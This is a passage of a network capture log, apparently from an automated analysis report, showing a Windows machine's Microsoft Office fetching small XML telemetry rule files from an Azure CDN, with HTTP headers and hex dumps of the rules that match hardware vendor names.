encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:13 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022114Z-15b8b599d88wn9hhhC1TEBry0g00000002dg000000004b2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:15 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022115Z-178bfbc474bxkclvhC1NYC69g400000003u0000000006h4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:15 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022116Z-174c587ffdftv9hphC1TEBm29w000000027000000000bwzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:16 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022116Z-15b8b599d88qw29phC1TEB5zag000000025000000000p625 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 79f6ed77-701e-0021-554e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022116Z-15b8b599d88phfhnhC1TEBr51n00000002cg00000000cm3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d6db62af-701e-0097-3243-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022116Z-178bfbc474b9fdhphC1NYCac0n00000003vg0000000016zu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022118Z-178bfbc474b7cbwqhC1NYC8z4n00000003v00000000010qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022118Z-174c587ffdf8lw6dhC1TEBkgs8000000028000000000fgad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022118Z-174c587ffdf9xbcchC1TEBxkz4000000024g00000000ctgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022118Z-178bfbc474bpscmfhC1NYCfc2c00000002cg00000000dzet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 6e0e0a2c-401e-0064-4814-3d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022120Z-178bfbc474bwh9gmhC1NYCy3rs00000003vg00000000fevd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:21 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:20 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:20 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022120Z-178bfbc474bw8bwphC1NYC38b400000003mg00000000gg1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:21 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 